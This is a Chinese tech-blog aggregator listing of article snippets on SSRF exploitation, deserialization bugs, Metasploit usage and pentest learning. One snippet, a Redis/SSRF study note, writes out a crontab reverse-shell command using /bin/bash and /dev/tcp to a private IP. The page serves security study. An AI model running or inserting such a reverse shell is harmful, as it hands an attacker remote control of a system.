E-COM-NET
首页
在线工具
Layui镜像站
SUI文档
联系我们
推荐频道
Java
PHP
C++
C
C#
Python
Ruby
go语言
Scala
Servlet
Vue
MySQL
NoSQL
Redis
CSS
Oracle
SQL Server
DB2
HBase
Http
HTML5
Spring
Ajax
Jquery
JavaScript
Json
XML
NodeJs
mybatis
Hibernate
算法
设计模式
shell
数据结构
大数据
JS
消息中间件
正则表达式
Tomcat
SQL
Nginx
Shiro
Maven
Linux
SSRF漏洞利用
反序列化漏洞
JavaPHP反序列化总结文章目录一.PHP反序列化1.序列化serialize()2.反序列化unserialize()二.反序列化漏洞1.
漏洞利用
Magicfunction2.
漏洞利用
思路三.
Slash_HK
·
2024-09-10 11:00
web安全相关
php
安全
web安全
weblogic-
SSRF
漏洞复现(
SSRF
原理、利用与防御)
一、
SSRF
概念服务端请求伪造(Server-SideRequestForgery),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,
SSRF
攻击的目标是从外网无法访问的内部系统。
不想当脚本小子的脚本小子
·
2024-09-09 15:33
中间件漏洞复现
SSRF
安全
网络安全最新网络安全-
SSRF
漏洞原理、攻击与防御(1),2024年最新网络安全程序员架构之路该如何继续学习
(非常重要)2、渗透测试基础(一周)①渗透测试的流程、分类、标准②信息收集技术:主动/被动信息搜集、Nmap工具、GoogleHacking③漏洞扫描、
漏洞利用
、原理,利用方法、工具(MSF
2401_84265972
·
2024-09-09 13:54
程序员
网络安全
学习
面试
Web安全和渗透测试有什么关系?
做渗透测试的一个环节就是测试web安全,需要明白漏洞产生原理,通过信息收集互联网暴露面,进行漏洞扫描,
漏洞利用
,必要时进行脚本自编写和手工测试,力求挖出目标存在的漏洞并提出整改建议,当然如果技术再精一些
程序员_大白
·
2024-09-06 01:24
web安全
安全
web渗透:
SSRF
漏洞
SSRF
漏洞的原理
SSRF
(Server-SideRequestForgery,服务器端请求伪造)是一种安全漏洞,它允许攻击者构造请求,由服务端发起,从而访问服务端无法直接访问的内部或外部资源。
燕雀安知鸿鹄之志哉.
·
2024-09-05 23:35
渗透测试笔记
安全
网络
web安全
网络安全
笔记
七个合法学习黑客技术的平台,让你从萌新成为大佬
网站涵盖多种主题,包括密码破解、网络侦察、
漏洞利用
、社会工程学等。
黑客白帽子黑爷
·
2024-09-03 18:26
学习
php
web安全
网络
安全
开发语言
七个合法学习黑客技术的平台,让你从萌新成为大佬
网站涵盖多种主题,包括密码破解、网络侦察、
漏洞利用
、社会工程学等。
黑客白帽子黑爷
·
2024-09-03 18:26
学习
php
web安全
网络
安全
开发语言
ssrf
做题随记--任务计划的写入、csrf简单知识
目录ssrfcsrfssrf这里忘记写文档了,然后再次搭建环境一直成功不了所以这里以文字的方式记录一些要注意的点。redis在低版本下没有降权然后执行的时候是以root权限执行,到了高版本以后就不行了redis被降权了,且如果是高版本稳定版的话是没有办法写入也就是更加安全*****/bin/bash-i>&/dev/tcp/192.168.0.106/77770>&1centos写入任务计划是很正
板栗妖怪
·
2024-08-29 07:30
小记
随笔
学习
Metasploit
漏洞利用
系列(五):MSF渗透测试 - 应用Word软件渗透实战
在本系列的第五篇文章中,我们将探索如何利用MetasploitFramework(MSF)针对MicrosoftWord这一广泛使用的办公软件进行渗透测试。由于Word文档在企业和个人间的频繁交换,它们成为了网络攻击者植入恶意代码的理想载体。本文将通过一个具体的案例,展示如何运用Metasploit构建并利用含有恶意宏的Word文档来实现远程代码执行。准备阶段1.环境搭建:确保在隔离的测试环境中操
Alfadi联盟 萧瑶
·
2024-08-29 02:55
网络安全
Metasploit
漏洞利用
系列(八):MSF渗透测试 - PHPCGI
漏洞利用
实战
在本系列的第八篇文章中,我们将深入探索如何利用MetasploitFramework(MSF)来针对PHPCGI(PHPCommonGatewayInterface)的漏洞进行渗透测试。PHPCGI作为一种将Web服务器与PHP脚本交互的方式,其不恰当的配置或老旧版本中可能存在的漏洞常被攻击者利用,以获取服务器权限。本文将通过一个具体案例,展示如何识别并利用PHPCGI的漏洞来实现远程代码执行。环
Alfadi联盟 萧瑶
·
2024-08-29 02:55
网络安全
Metasploit
漏洞利用
系列(九):MSF渗透测试 - DistCC后门漏洞实战
在本系列的第九篇文章中,我们将深入探讨如何利用MetasploitFramework(MSF)对DistCC中存在的后门漏洞进行渗透测试。DistCC是一个分布式编译系统,旨在通过网络分发编译任务以加速编译过程。然而,不当的配置或特定版本的漏洞可能为攻击者留下可乘之机,使其能够利用DistCC服务作为跳板,入侵目标系统。本文将通过一个实例,展示如何识别并利用DistCC中的漏洞来实现远程代码执行。
Alfadi联盟 萧瑶
·
2024-08-29 02:55
网络安全
Metasploit
漏洞利用
系列(一):MSF完美升级及目录结构深度解读
在信息安全领域,MetasploitFramework(MSF)是一个无处不在的工具,它集合了大量的渗透测试和
漏洞利用
模块,帮助安全专家识别和利用系统中的弱点。
Alfadi联盟 萧瑶
·
2024-08-29 02:25
网络安全
Metasploit
漏洞利用
系列(十):MSF渗透测试 - 震网三代(远程快捷方式漏洞)实战
在本系列的第十篇中,我们将深入探讨如何利用MetasploitFramework(MSF)来利用著名的震网三代(Stuxnet三代)中的一个远程快捷方式漏洞(LNK漏洞)。虽然“震网三代”并非官方术语,而是为了描述一个类似震网蠕虫的高级威胁,但我们将以此为背景,探索利用Windows快捷方式(LNK)文件的漏洞进行渗透测试的技术细节。此漏洞允许攻击者通过精心构造的快捷方式文件远程执行代码,对目标系
Alfadi联盟 萧瑶
·
2024-08-29 02:54
网络安全
深入剖析二进制漏洞:原理、类型与利用方法
二进制漏洞的常见类型1.3二进制漏洞在CTF中的重要性缓冲区溢出2.1缓冲区溢出的基本原理2.2栈溢出攻击2.2.1EIP覆盖与ROP攻击2.2.2栈溢出的防御机制2.3堆溢出攻击2.3.1堆管理机制与
漏洞利用
天域网络科技
·
2024-08-27 07:43
安全
网络
web安全
SSRF
漏洞笔记
SSRF
漏洞简介
SSRF
:(Server-SideRequestForgery:服务器端请求伪造)是一种由攻击者构造特殊形成的请求,并且由指定服务器端发起恶意请求的一个安全漏洞。
Aqua丿
·
2024-08-25 09:17
服务器
安全
Jackson 反序列化漏洞
文章目录Jackson反序列化
漏洞利用
条件Jackson反序列化漏洞原理
漏洞利用
过程漏洞示例Jackson反序列化漏洞黑盒测试方法猜测后端是否有JacksonJackson反序列化
漏洞利用
条件1.DefaultTyping
B1ackMa9ic
·
2024-08-24 13:45
网络安全
安全
系统安全
web安全
安全架构
python
网络
DVWA靶场通关(CSRF)
漏洞利用
前提::用户必须登录、黑客懂得一些发包的请求,服务器端是不会有二次认证的,被害者是不知情的
马船长
·
2024-08-23 15:50
csrf
前端
字节-安全研究实习生--一面
威胁情报:收集和分析关于网络威胁的数据,包括恶意软件、攻击者行为模式、
漏洞利用
技术等,以便更好地理解和防御潜在的网络攻击。安全策
Pluto-2003
·
2024-03-24 23:41
安全面试题
安全
web安全
网络
面试
笔记
安全研究
网络安全:kali之MSF工具基本使用方法
1、进入MSF工具:nsfconsole2、查询
漏洞利用
工具:search漏洞编号3、打开工具:use工具id4、查看工具配置参数:showoptions5、查看工具的详细信息:info6、配置参数:set
诺卡先生
·
2024-03-06 17:11
网络安全学习笔记
网络安全
linux
安全
服务器
linux
2024年高级持续性威胁(APT)九大预测
预测一针对移动设备、可穿戴设备和智能设备的创新性
漏洞利用
程序兴起过去一年有一个重大发现,即"三角行动”(OperationTriangulation)。
廾匸0705
·
2024-03-05 13:35
网络安全
APT
网络安全
威胁态势
9、内网安全-横向移动&Exchange服务&有账户CVE漏洞&无账户口令爆破
Exchange服务的漏洞也是频出,在这种情况下,如果拿到内网中一台主机权限,便可以针对部署Exchange邮件服务的主机进行横向移动,以下包括三方面:Exchange探针、Exchange爆破、Exchange
漏洞利用
知识点
++
·
2024-02-20 12:26
内网安全/渗透
网络安全
内网渗透
横向移动
Exchange
漏洞利用
渗透测试实战-bulldog
文章目录环境准备信息收集
漏洞利用
后期利用思路一后期利用总结环境准备kali当成攻击机bulldog靶机官网下载地址Vmware装入即可,成功后是显示这个样子kaliip是:192.168.240.128
Rgylin
·
2024-02-19 15:06
我的渗透之路
安全
web安全
linux
干货 | 绕过WAF的常见Web
漏洞利用
分析
前言本文以最新版安全狗为例,总结一下我个人掌握的一些绕过WAF进行常见WEB
漏洞利用
的方法,希望能起到抛砖引玉的效果。如果师傅们有更好的方法,烦请不吝赐教。
网络安全大白
·
2024-02-19 12:44
程序员
网络安全
黑客
前端
网络安全
安全
系统安全
黑客使用哪些编程语言?
本文对调查进行了跟进,并将调查结果与
漏洞利用
数据库的分析进行了比较。读者可以获得有关如何设置分析环境和结果摘要的分步说明。因此,本文不仅涵盖了应用技术,还提供了对网络安全世界的见解。
网络安全大白
·
2024-02-19 12:14
网络安全
黑客
程序员
数据库
oracle
恶意代码分析实战 第十一章 恶意代码的行为
下载器通常会与
漏洞利用
(exploit)打包在一起。下载器常用WindowsAPI函数URLDownloadtoFileA和WinExec,来下载并运行新的恶意代码。
doinb1517
·
2024-02-14 21:41
渗透测试工具库总结(全网最全)
目录Web渗透综合扫描类1.外网2.内网信息搜集类指纹扫描资产发现子域名收集目录扫描端口扫描Burp插件浏览器插件钓鱼平台
漏洞利用
类综合漏洞扫描工具中间件/应用/接口
漏洞利用
工具信息泄露利用工具数据库利用工具社工
Pluto-2003
·
2024-02-13 17:06
笔记
网络安全
测试工具
github
redis未授权访问
漏洞利用
当redis服务(6379)端口对外开放且未作密码认证时,任意用户可未授权访问redis服务并操作获取其数据。攻击机:10.1.1.100kali目标靶机:10.1.1.200一、探测redis的未授权访问首先在攻击机上使用nmap对目标机进行扫描,探测开放的服务与端口。使用全端口扫描,探测存在的服务:nmap-p--sV10.1.1.200探测到靶机开放了多个端口,其中存在redis服务的637
渗透测试老鸟-九青
·
2024-02-13 10:17
redis
数据库
缓存
渗透测试练习题解析 3(CTF web)
1、[网鼎杯2020朱雀组]phpweb1考点:反序列化
漏洞利用
进入靶场,查看检查信息,发现存在两个参数func和p查看页面源代码payload:func=file_get_contents&p=php
安全不再安全
·
2024-02-13 09:55
CTF
web
前端
安全
网络安全
web安全
【复现】Rebuild管理系统
SSRF
漏洞_44
目录一.概述二.漏洞影响三.漏洞复现1.漏洞一:四.修复建议:五.搜索语法:六.免责声明一.概述REBUILD(简称RB)是一款高度可配置化的企业管理系统,旨在帮助企业快速完成信息化建设,而无需高昂的研发成本投入。当遇到业务变化或需求变更时,可以通过系统本身提供的可配置化特性直接达成业务需求,而无需额外投入。通过REBUILD提供的各种配置化功能,您可以进行各种业务流程编排,灵活可靠。二.漏洞影响
穿着白衣
·
2024-02-12 21:39
安全漏洞
安全
系统安全
web安全
网络安全
红队打靶练习:DEVGURU: 1
目录信息收集1、arp2、nmap3、dirsearchWEBweb信息收集8585端口
漏洞利用
提权系统信息收集横向渗透getflag信息收集1、arp┌──(root㉿ru)-[~/kali]└─#arp-scan-lInterface
真的学不了一点。。。
·
2024-02-12 15:44
红队渗透靶机
网络安全
安全
vulnhub靶机-CyberSploit:1渗透笔记
文章目录1.环境搭建2.信息收集2.1主机发现2.2端口扫描2.3访问80端口(http服务)2.4爆破目录3.
漏洞利用
3.1ssh登录4.提权1.在kali里面搜索有无该版本的
漏洞利用
文件2.将文件保存到本地
liver100day
·
2024-02-11 04:38
靶机
学习
安全漏洞
渗透测试
靶机
从零开始学howtoheap:理解glibc分配机制和UAF
漏洞利用
how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客1.理解glibc分配机制pwndbg>rStartingprogram:/ctf/work/how2heap/first_fit尽管这个例子没有演示攻击效果,但是它演示了glibc的分配机制
网络安全我来了
·
2024-02-10 14:58
逆向
二进制
Re
服务器
linux
网络安全
系统安全
【Web】基于Mybatis的SQL注入
漏洞利用
点学习笔记
目录MyBatis传参占位符区别不能直接用#{}的情况in多参数值查询like%%模糊查询orderby列名参数化MyBatis传参占位符区别在MyBatis中,#{}和${}都是用于传参的占位符,但它们之间有很大的区别,主要体现在两个方面:参数值的类型和SQL注入问题。1.参数值的类型:①#{}是预编译参数,表示使用PreparedStatement时,使用setXXX()方法设置参数值,会对传
Z3r4y
·
2024-02-10 14:20
java
sql
安全
Ivanti Pulse Connect Secure VPN
SSRF
(CVE-2023-46805)漏洞
免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。Ⅰ、漏洞描述IvantiConnectSecure为远程和移动用户提供了一个无缝的、具有成本效益的SSLVPN解决方案,使他们能随时随地从任何可上网的设备访问企业资源。Iv
Love Seed
·
2024-02-10 14:47
网络
shellcode
生成shellcode在
漏洞利用
中,shellcode是不可或缺的部分,所以在网上有许多公开分享的shellcode,在不同平台上并不通用,需要选择适合的shellcode。
Lyx-0607
·
2024-02-10 04:52
笔记
HackTheBox-BountyHunter靶场通关记录
文章目录HackTheBox-BountyHunter靶场准备工作信息搜集
漏洞利用
提权HackTheBox-BountyHunter靶场准备工作打开hackthebox并找到bountyhunter靶场
HU芦娃
·
2024-02-09 17:16
信息安全
漏洞原理
打靶记录
安全
log4j2核弹级漏洞靶场复现(反弹shell)
拉取漏洞镜像可参考以下链接:https://blog.csdn.net/weixin_47019868/article/details/122010972log4漏洞镜像启动环境漏洞验证:dnslog回显则漏洞存在
漏洞利用
r00t_BRAVE
·
2024-02-08 21:41
笔记
log4j2
安全漏洞
Apache Log4j2漏洞复现(反弹shell)
漏洞利用
无需特殊配置,经阿里云安全团队验证,ApacheStruts2、ApacheSolr、ApacheDruid、Apa
安全菜
·
2024-02-08 21:41
apache
Web 漏洞训练平台学习笔记(webgoat & juice shop)
Web漏洞训练平台实验目的了解常见Web漏洞训练平台;了解常见Web漏洞的基本原理;掌握OWASPTop10及常见Web高危漏洞的漏洞检测、
漏洞利用
和漏洞修复方法;实验环境WebGoat/Juiceshopkali2021.2
Beethen Tang
·
2024-02-08 20:45
前端
学习
docker
安全
红队打靶练习:PHOTOGRAPHER: 1
目录信息收集1、arp2、nmap3、nikto目录扫描1、gobuster2、dirsearchWEB信息收集enum4linuxsmbclient8000端口CMS利用信息收集文件上传
漏洞利用
提权信息收集
真的学不了一点。。。
·
2024-02-08 11:37
红队渗透靶机
网络安全
Chrome 沙箱逃逸 -- Plaid CTF 2020 mojo
文章目录前置知识参考文章环境搭建题目环境调试环境题目分析附件分析漏洞分析OOBUAF
漏洞利用
总结前置知识Mojo&Services简介chromiummojo快速入门MojodocsIntrotoMojo
XiaozaYa
·
2024-02-08 09:18
V8
chrome
mojo
沙箱逃逸
Rebuild企业管理系统
SSRF
漏洞复现(CVE-2024-1021)
0x01产品简介Rebuild是高度可配置化的企业管理系统!企业内部可免费使用!低代码/零代码快速搭建企业中台、CRM客户关系管理、WMS库存管理、TMS运输管理、SCM供应链管理,外贸管理,甚至是ERP企业资源计划!0x02漏洞概述Rebuild3.5.5版本存在安全漏洞,该漏洞源于组件HTTPRequestHandler的readRawText函数的url参数存在服务器端请求伪造漏洞。0x03
OidBoy_G
·
2024-02-08 05:33
漏洞复现
安全
web安全
(Vulnhub靶场)BEELZEBUB: 1 write up
文章目录环境准备信息搜集
漏洞利用
权限提升环境准备靶机地址:https://www.vulnhub.com/kali攻击机ip:192.168.220.128靶机ip:靶机地址:使用命令:arp-scan-l
Ca1m丶
·
2024-02-07 22:21
安全
web安全
linux
【Java安全】ysoserial-URLDNS链分析
其中最经典的反序列化
漏洞利用
工具——ysoserial,下面就分析学习一下ysoserial中的URLDNS链,以便更好地理解反序列化漏洞。ysoserial简单分析下载yso
Hello_Brian
·
2024-02-07 19:33
代码审计
java
安全
开发语言
安全架构
web安全
vulnhub靶机:presidential1
目录进行靶机ip的扫描nmap扫描开发的端口和服务信息目录扫描修改host文件子域名搜集phpmyadmin管理端登录phpmyadmin
漏洞利用
反弹shellcapabilities提权获取root权限靶机总结靶机下载网址
Ie802.3
·
2024-02-07 05:37
vulnhub
vulnhub
网络安全
看完这篇 教你玩转渗透测试靶机Vulnhub——DerpNStink:1
Vulnhub靶机DerpNStink:1渗透测试详解Vulnhub靶机介绍:Vulnhub靶机下载:Vulnhub靶机安装:Vulnhub靶机漏洞详解:①:信息收集:②:漏洞发现:③:
漏洞利用
:④:反弹
落寞的魚丶
·
2024-02-07 04:19
渗透测试
#
Vulnhub靶机
Vulnhub靶机
CVE-2021-404提权
DerpNStink1
SSRF
-服务端请求伪造
SSRF
-服务端请求伪造1.
SSRF
是什么?
SSRF
(Server-sideRequestForge,服务端请求伪造)。
weixin_50339082
·
2024-02-06 17:48
漏洞基础小知识
安全
后端
网络安全
linux
系统安全
SSRF
(服务端请求伪造)原理/防御
原理攻击者伪造服务器获取资源的请求,通过服务器来攻击内部系统比如端口扫描,读取默认文件判断服务架构,或者配合SQL注入等其他漏洞攻击内网的主机触发点/检测
SSRF
常出现在URL中,比如分享,翻译,图片加载
小蚁网络安全(胡歌)
·
2024-02-06 17:48
安全
网络
服务器
ddos
web安全
SSRF
——服务端请求伪造
什么是
SSRF
?服务器端请求伪造(
SSRF
)是指攻击者能够从易受攻击的Web应用程序发送精心设计的请求的对其他网站进行攻击。
正在过坎
·
2024-02-06 17:47
网络基础
小白入坑
笔记
安全
服务器
http
服务端请求伪造 (
SSRF
):利用漏洞实现攻击的风险和防范方法
1、
SSRF
漏洞简介01什么是
SSRF
02
SSRF
形成的原因03与CSRF的区别04
SSRF
攻击的危害2、漏洞场景01从WEB功能点寻找02从URL关键字寻找03总结2、
SSRF
漏洞利用
01dict:/
狗蛋的博客之旅
·
2024-02-06 17:17
网络安全
安全
上一页
1
2
3
4
5
6
7
8
下一页
按字母分类:
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
其他